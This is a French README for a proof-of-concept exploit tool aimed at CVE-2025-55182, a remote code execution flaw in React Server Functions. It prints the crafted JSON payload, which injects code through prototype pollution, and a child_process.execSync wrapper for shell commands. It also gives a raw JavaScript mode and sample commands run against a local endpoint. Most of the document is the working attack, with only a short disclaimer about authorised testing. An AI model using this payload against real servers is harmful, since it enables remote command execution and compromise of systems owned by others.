
Ceci est un script POC pour CVE-2025-55182 (React SSR RCE)
Ceci est un POC destiné uniquement à des fins éducatives et de recherche en sécurité. Cette vulnérabilité a été corrigée dans les dernières versions des paquets concernés. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez l'autorisation explicite de tester. Je ne suis pas responsable des actions en justice engagées contre vous.
L'exploit crée un objet JSON spécialement conçu qui abuse de la chaîne de prototypes de JavaScript :
{
"then": "$1:__proto__:then", // Pollutes the prototype chain
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Injected malicious code
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Le POC prend en charge deux modes :
Mode standard (par défaut) :
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
Enveloppe les commandes shell pour les exécuter via le module child_process de Node.js.
Mode brut (option --raw) :
// Executes arbitrary JavaScript directly
Permet l'exécution directe de code JavaScript sans encapsulation de commande shell.
bun run index.ts <command_file> <target_url>
Exemple :
# Create a command file
echo "whoami" > cmd.txt
# Execute against vulnerable endpoint
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
Exemple :
# Create JavaScript payload
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Execute raw JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path> : Chemin vers le fichier contenant la commande ou le code JavaScript<target_url> : URL du point de terminaison React Server Function--raw : (Facultatif) Exécute du JavaScript brut au lieu de commandes shellDécouvert par : Lachlan Davidson
Divulgué par : The React Team & Meta Security